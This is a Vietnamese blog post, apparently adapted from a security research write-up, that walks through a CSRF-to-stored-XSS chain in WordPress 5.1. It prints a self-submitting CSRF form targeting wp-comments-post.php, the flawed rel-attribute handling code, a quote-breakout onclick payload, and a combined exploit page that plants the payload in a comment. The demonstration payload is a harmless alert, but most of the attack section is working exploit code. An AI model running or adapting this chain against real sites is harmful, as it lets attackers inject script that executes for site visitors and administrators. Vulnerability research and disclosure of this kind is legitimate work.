Một vài ngày trước một lỗ hổng bảo mật wordpress trên bản 5.1 đã được phát hiện, sau khi có thông tin chúng tôi đã tiến hành nghiên cứu và kiểm tra.
CSRF
Chúng tôi phát hiện lỗ hổng csrf có thể thực thi theo kịch bản bên dưới
<html>
<form method="POST" action="https://sand-wordpress.5.1.manhtuong.net/wp-comments-post.php" id="iron">
<input type="hidden" name="comment_post_ID" value="1">
<input type="hidden" name="comment" value="PoC">
<input type="hidden" name="comment_parent" value="0">
</form>
<script type="text/javascript">
document.getElementById("iron").submit()</script>
</html>
Demo: sand-wordpress.5.1.manhtuong.net/poc.html
Chú ý hãy đăng nhập tạo tài khoản trước khi thử
Chức năng saneization này sẽ được bỏ qua để có được XSS Stored.
Lỗi được tìm thấy trong một chức năng tồn tại trong /wp-includes/formatted.php vì lý do SEO thực hiện một cách xử lý khác với các thẻ html có thuộc tính rel .
if (!empty($atts['rel'])) {
// the processing of the 'rel' attribute happens here
⋮
$text = '';
foreach ($atts as $name => $value) {
$text .= $name . '="' . $value . '" ';
}
}
return '<a ' . $text . ' rel="' . $rel . '">';
}
WordPress tách các thuộc tính trong một mảng kết hợp và xác minh nếu rel tồn tại, nếu điều này tồn tại nó thực hiện một điều trị và sau đó quay trở lại tham gia các thuộc tính của thẻ.
Vấn đề là nó gói gọn từng giá trị của thuộc tính giữa các dấu ngoặc kép để chúng ta có thể thoát khỏi một thuộc tính bằng cách đặt nó trong dấu ngoặc kép.
<a title='ironhackers " onclick=alert(0) id="' rel="nofollow">
Chúng ta hãy xem nó kết hợp với CSRF . Đầu tiên chúng ta phải sửa đổi html độc hại của mình với tải trọng cần thiết.
<html>
<script>
function payload(){
return "<a title='ironhackers "+ '"'+ " onclick=alert(0) id="+'"'+"'"+' rel="nofollow">Poc'
}
</script>
<form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron">
<input type="hidden" name="comment_post_ID" value="1">
<input type="hidden" id="payload" name="comment" value="">
<input type="hidden" name="comment_parent" value="0">
</form>
<script type="text/javascript">
document.getElementById("payload").value=payload();
document.getElementById("iron").submit()</script>
</html>
Không có nhận xét nào:
Đăng nhận xét